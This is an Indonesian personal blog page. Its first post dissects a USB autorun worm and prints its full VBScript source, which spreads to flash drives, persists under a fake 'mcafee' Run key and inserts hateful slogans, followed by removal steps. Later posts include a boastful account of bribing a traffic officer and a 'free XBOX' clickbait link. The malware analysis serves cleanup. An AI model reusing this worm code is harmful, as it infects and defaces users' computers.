kok saya bisa kena? yah karena ada seorang kawan yg meminjam notebook saya (entah apa yg dia lakukan sampe-sampe IE saya jadi kayak gitu).
ok...time to investigate apa yang sebenernya nih virus lakukan. Pertama pastinya adalah dengan menyalakan Hide protected operating system files (recommended) yang terdapat di Tools > Folder Options > Tab View kenapa? karena pada umumnya virus pake tipe data seperti ini biar gak keliatan...cieee!!!
kedua mari kita lihat ternyata terdapat file autorun.inf dan sfx.dll.vbs...yuu!!! mari kita liat isi file autorun.inf:
[autorun]
shellexecute=wscript.exe sfx.dll.vbsmungkin kalau ditranslate adalah jalankan file sfx.dll.vbs dengan menggunakan wscript.exe ya ampyuuunnnn...ngeri ih huahahahaha...
nah sekarang lihat file kedua yaitu sfx.dll.vbs:
on error resume next
Rem 121206, do u still remember dis day us_3?
Dim src, winpath, flashdrive, fs, mf, atr, tf, rg, nt, check, sd:atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe sfx.dll.vbs":Set fs = CreateObject("Scripting.FileSystemObject"): Set mf = fs.getfile(Wscript.ScriptFullname): Dim text, size: size = mf.size: check = mf.drive.drivetype: Set text = mf.openastextstream(1, -2)
Do While Not text.atendofstream: src=src&text.readline: src = src & vbCrLf: Loop
Do: Set winpath = fs.getspecialfolder(0): Set tf = fs.getfile(winpath & "\sfx.dll.vbs"): tf.Attributes = 32: Set tf = fs.createtextfile(winpath & "\sfx.dll.vbs", 2, True): tf.write src: tf.Close: Set tf = fs.getfile(winpath & "\sfx.dll.vbs"): tf.Attributes = 39
For Each flashdrive In fs.drives
If (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.Path <> "A:" Then: Set tf = fs.getfile(flashdrive.Path & "\sfx.dll.vbs"): tf.Attributes = 32: Set tf = fs.createtextfile(flashdrive.Path & "\sfx.dll.vbs", 2, True): tf.write src: tf.Close: Set tf = fs.getfile(flashdrive.Path & "\sfx.dll.vbs"): tf.Attributes = 39: Set tf = fs.getfile(flashdrive.Path & "\autorun.inf"): tf.Attributes = 32: Set tf = fs.createtextfile(flashdrive.Path & "\autorun.inf", 2, True): tf.write atr: tf.Close: Set tf = fs.getfile(flashdrive.Path & "\autorun.inf"): tf.Attributes = 39: End If
Next
Set rg = CreateObject("WScript.Shell"): rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\mcafee",winpath & "\sfx.dll.vbs": rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "Bantai Yahudi!!!! Hancurkan Amerika!!! [Bantai Axe gank dan antek2nya!!! SFX harus menang!!!!]": rg.regwrite "HKCR\vbsfile\DefaultIcon", "shell32.dll,2"
If check <> 1 Then Wscript.sleep 200000
Loop While check <> 1: Set sd = CreateObject("Wscript.shell"): sd.run winpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullnamebingung cara bacanya? gak usah ini gampang banget, ceritanya virus ini sih mau nyebarnya lewat flashdisk dengan langsung menjalankan autorun.inf tadi dan menjalankan file sfx.dll.vbs dengan memanfaatkan kelemahan pengguna Mikocok Windong. Sekarang perhatikan dari
Set rg = CreateObject("WScript.Shell"): rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\mcafee",winpath & "\sfx.dll.vbs": rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "Bantai Yahudi!!!! Hancurkan Amerika!!! [Bantai Axe gank dan antek2nya!!! SFX harus menang!!!!]": rg.regwrite "HKCR\vbsfile\DefaultIcon", "shell32.dll,2"sebelum menghilangkan virus ini pertama-tama matikan dahulu wscript.exe dari Task Manager (CTRL+ALT+DEL)
kemudian hapus file autorun.in dan sfx.dll.vbs dari tiap drive. Dan hapus KEY yang ada di registry.
ini yang lumayan penting, virus ini mencoba membuat KEY di registry kita yang pertama adalah:
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\mcafee",winpath & "\sfx.dll.vbs"
hapus KEY mcafee",winpath & "\sfx.dll.vbs"
kedua adalah:
"HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "Bantai Yahudi!!!! Hancurkan Amerika!!! [Bantai Axe gank dan antek2nya!!! SFX harus menang!!!!]"
hapus KEY WindowTitle
ketiga adalah:
"HKEY_CLASSES_ROOT\vbsfile\DefaultIcon", "shell32.dll,2"
hapus KEY DefaultIcon
setelah itu restart windong anda dan Plug and Pray!!!
[ 9 comments ] ( 3922 views ) | [ 0 trackbacks ] | permalink |
( 3 / 328 )Ternyata KTM (Kartu Tanda Mahasiswa) ada gunanya juga...bukan sebagai kartu tuk ambil duit dan bukan juga juga tuk melakukan pembayaran semesteran...tetapi untuk mendapatkan diskon dari polisi yang nilang saya.
kok bisa ?
jadi beginilah ceritanya. Kejadian ini bermula pada hari sabtu kemaren tanggal 10 november 2007. ketika lewat perempatan Tan Ek Tjoan atau deket-deket Pos Pemadam Kebakaran situ ada RAZIA Polisi (Tau kan siang-siang polisi melakukan razia tuk cari apa? mencari geng motorkah? heheh...).
Polisi: priiiiiittttt!!!!! (sambil mengayunkan tangan nyuruh gw tuk segera ke pinggir).
Gw: butet dah...ni plokis kagak takut ketabrak apah??
Polisi: .........(diam tak bersuara)
Gw: .....(ikutan diem juga, tp sambil ngeluarin SIM dan STNK gw)
Polisi: wah de...ini STNKnya pajaknya dah abis (27 Oktober 2007)
Gw: Oh ya?, secara gw juga baru ngeh pajaknya dah abis.
Polisi: dah sini, ikut ke depan (maksudnya di balik mobil polisi)
Gw: hyuuuuuu....ngikut!!!!
Polisi: sambil sok ngeluarin surat tilang,...mau gimana nih?
Gw: ah...pak polisi kayak gak tau aja...tp jujur nih pak saya cuman ada 50 rebuan 1 lembar dan ribuan 2 lembar di dompet (sambil ngeliatin dompet)
Polisi: wah ini kena tilangnya 150 ribu,...ya udah sini 50 ribu aja.
Gw: buseeetttt...wah jangan donk...kalau diambil 50 ribu, saya gak bisa makan. Lagian saya kan mau kuliah pak (ting..ting)
Polisi: kuliah dimana?
Gw: situ di ....(#sensor#)
Polisi: mana kartu mahasiswanya sambil gak percaya
Gw: nih kartunya pak...hehehehe...
Polisi: ya udah saya balikin 10 ribu ya.
Gw: waduh kurang pak, balikin 20 ribu aja deh...
Polisi: (sambil merogoh kantong)....ya udah nih ambil aja semua (uangnya berisi 5 ribuan 2 lembar dan ribuan yang banyak banget) sampe-sampe saya susah masukin duitnya.
Gw: ok deh...sini pak SIM sama STNKnya
Polisi: (terdiam)
Gw: melanjutkan perjalanan
nah pas sampe kampus, ternyata duit yg dikasih polisi tadi jumlahnya 23 ribu...yah lumayan...kena tilang tapi bisa dapet diskon mahasiswa. hehehehe...(di tilang tapi minta kembalian huahahahaha)
[ 2 comments ] ( 162 views ) | [ 0 trackbacks ] | permalink |
( 3 / 231 )Yes, akhirnya dateng juga buku pesanan saya dari Amazon.com
saya memang membeli beberapa buku dari Amazon.com tuk memperbaiki kualitas nilai matematika dan kalkulus yang lumayan bikin susyah.
Buku pertama yang saya beli yaitu
Math the Easy Way (Easy Way Series) (Paperback)
by Anthony Prindle (Author), Katie Prindle (Author)
Buku ini saya beli untuk mengingat masa-masa jaya dulu semasa waktu SD-SMA pas belajar matematika dan untuk merefresh lagi ingatan saya yang udah mulai pudar. Berisi Matematika yang sifatnya dasar tapi penting seperti:
Bilangan Bulat dan Pecahan
Desimal dan Persen
Aljabar
Geometri
Tabel dan Grafik
Peluang dan Statistik
Buku kedua yang saya beli yaitu
Calculus for Dummies (Paperback)
by Mark Ryan (Author)
;)
Nah kalau buku ini untuk belajar lagi tentang kalkulus dan pengaplikasiannya dalam kehidupan sehari-hari, isinya antara lain:
Real-world examples of calculus
The two big ideas of calculus: differentiation and integration
Why calculus works
Pre-algebra and algebra review
Common functions and their graphs
Limits and continuity
Integration and approximating area
Sequences and series
secara keseluruhan, saya suka baca buku ini di waktu senggang. Lumayan jadi kalau ada orang lain tanya tentang Integral atau Turunan atau Limit pastinya saya pun bisa menjawab...I Hope :P
[ 4 comments ] ( 700 views ) | [ 0 trackbacks ] | permalink |
( 3 / 261 )Tak terasa waktu begitu cepat berkahir...
Tak terasa lebaran setahun yang lalu serasa kemarin...
masih ingat dalam ingatanku, waktu itu ak mudik dengan menggunakan motor...well ternyata tahun ini pun ak akan mudik masih dengan menggunakan motor juga!!!.
tak terasa ak sudah memilikimu selama setahun lebih, dan sekarang ak akan menunggangimu lagi...motor maksudnya ^.^'
Bogor-Bandung Arah Mudikku
Batagor Riri pasti ku sambangi
Cihampelas Walk pasti kan kudatangi
halah...jadi berlebihan.
Minal Aidzin Wal Faidizin, Mohon Maaf Lahir dan Batin
Salam Hangat,
Astaufik 10-OCt-2007
[ 2 comments ] ( 205 views ) | [ 0 trackbacks ] | permalink |
( 3 / 215 )Mau XBOX 360 Gratis!!!
Gak Pake Acara Tipu-Tipu
This Is For Real!!!
Click Here
[ 10 comments ] ( 806 views ) | [ 0 trackbacks ] | permalink |
( 2.9 / 176 )Great...I like this PDA Phone very much. Bawaannya sih pake WM5, tapi bisa di upgrade ke WM6 dengan mudah.
Tanpa harus bawa ke roxy atau PDA Store, mahal bo!! ok quit babbling...now what should I do ?
1. Download WM6 ROM, if your using Audiovox XV6700 just like mine, you can download it here.
2. Put your phone into BOOTLOADER mode. Press (POWER+RECORD+RESET).
3. Plug your USB cable into your phone and PC.
4. Run your ROM and wait until it finished.
5. Then Press (LEFT key+RIGHT key+RESET).
6. Enjoy!!
Things Included in this ROM
MS Office2007
MS OneNote Mobile v12.0.4518.1014
MS Winlive v10.6.31.2001
MS LiveSearch v2.0.2739.29907
HTC Home Plugin 6tab v1.5.620.722
HTC CommManager with 10 Buttons
HTC Touch Dialer With working Smartdial and ## Codes
HTC Smartdial v2.5
HTC Task Manager v1.51.30229.1
HTC Voice Recorder v1.10.611711.0
HTC Streaming Media v2.20.615718.00
HTC Audio.Manager v1.2.614712.q
Adobe Reader 2.00.288531
Adobe Flash Player 7
Arcsoft MMS client v3.0.6.24 (sorry Prehistoric version seems to be more usable for now)
Additional Ringtones, Themes, and Games
Esmertec Jeodek Java v20070425
WM5 Storage 1.75 By Thunder
DictEditor
TCPMP
SMSBackup
PimBackup
Yahoo Go! 2.0
Thanks to helmi_c who build this ROM.
more information you can visit
http://forum.ppcgeeks.com/showthread.php?t=7671
[ 8 comments ] ( 1825 views ) | [ 0 trackbacks ] | permalink |
( 3.1 / 162 )Enak juga pake XV6700 koneksi internetnya wuss...wuss
[ add comment ] ( 267 views ) | [ 0 trackbacks ] | permalink |
( 3 / 269 )widih...ERROR broo
web tetep ada tapi content ilang semua...dan tanggal berubah jadi tahun 1970 (what the hell is going on here ?).
selidik punya selidik...dan sedikit oprak-oprek akhirnya bisa balik lagi dengan menghapus script di file
~blog_entry_listing.tmp
and sudah balik lagi heuheu...
:cde:
[ 2 comments ] ( 362 views ) | [ 0 trackbacks ] | permalink |
( 3 / 297 )fiuhhh...
gak terasa udah ketemu bulan Ramadhan lagi...
Met Menunaikan Ibadah Puasa tuk' semuanya
kalau ada salah-salah kata dalam postingan ini mohon dimaafkan sajah
[ add comment ] ( 113 views ) | [ 0 trackbacks ] | permalink |
( 3.1 / 259 )rekan-rekan pembaca blog yang budiman...saya astaufik...akan melaporkan kejadian langsung dari Pangrango Plaza Bogor.
tadi sekitar pukul 6:30 PM ada 1 pasang muda-mudi yang ketawan sedang malakukan perbuatan "MESUM" di lantai 4 mall ini.
kok saya bisa tau?...ya iyalah wong saya lagi maen R/C 1:10 di lantai 5. trus pasangan tersebut diteriaki oleh orang-orang yang terdapat di lantai 5 (termasuk sayah juga)...mereka pun kaget...dan langsung pergi ke tempat lain...yang lebih gelap (karena di lantai 4 mall ini ternyata tidak ada 1 toko pun yang buka)...jadi suasana sangat mendukung tuk melakukan proses "MESUM"...hahaha...lanjuuuttt Juragan!!!
tapi karena dianggap meresahkan warga pangrango plaza...maka disamperinlah mereka oleh 2 satpam dan digiring ke kantor satpam.
sang cewe hanya tersenyum malu dan tersipu-sipu...wahhh...coba yah kalo sudah tak tahan lagi...GET A ROOM!!!
[ 2 comments ] ( 557 views ) | [ 0 trackbacks ] | permalink |
( 2.9 / 114 )
Calendar
